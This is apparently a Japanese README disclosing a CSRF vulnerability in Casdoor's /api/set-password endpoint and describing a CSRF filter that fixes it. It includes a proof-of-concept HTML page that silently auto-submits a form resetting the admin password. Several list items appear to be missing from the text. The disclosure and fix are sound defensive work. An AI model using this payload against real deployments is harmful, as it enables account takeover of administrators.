
概要
/api/set-password におけるCSRF。ユーザーの同意なしにパスワードを変更できる。影響
built-in/admin)を変更でき、アカウント乗っ取りにつながります。攻撃の前提条件
casdoor_session_id Cookieを持っていること。/api/set-passwordへのPOSTを自動送信する悪意のあるページを訪問すること。概念実証
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
根本原因
/api/*配下の状態変更エンドポイントは、同一オリジンチェック(Origin/Referer)やCSRFトークンを適用せずに、Cookie認証されたリクエストを受け入れます。修正の概要
/api/*配下のクロスサイトかつCookieベースのPOST/PUT/DELETE/PATCHリクエストを拒否します。Authorization、Basic認証、クライアント資格情報、accessToken)を含むリクエスト、またはブラウザセッションCookieを含まないリクエスト(典型的なサーバー間通信)を許可します。実装
csrf_filter.goに実装されているrouters.CSRFFilterを使用します。このフィルターは:
Casdoorへの統合方法
csrf_filter.goをCasdoorプロジェクトの既存のroutersパッケージにコピーします。このファイル内の何も変更または削除しないでください。main内)でフィルターを登録します:
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
検証
Unauthorized operationで拒否され、サーバーはCSRF check failedをログに記録するはずです。AuthorizationヘッダーまたはaccessTokenパラメータを含むクロスオリジンAPI呼び出しは引き続き動作するはずです。リポジトリファイル
csrf_filter.go: CasdoorのroutersパッケージにコピーするCSRFフィルター。poc.html: CSRF攻撃を再現する最小限のページ。README.md: 脆弱性と修正手順を説明する本ドキュメント。参照
動画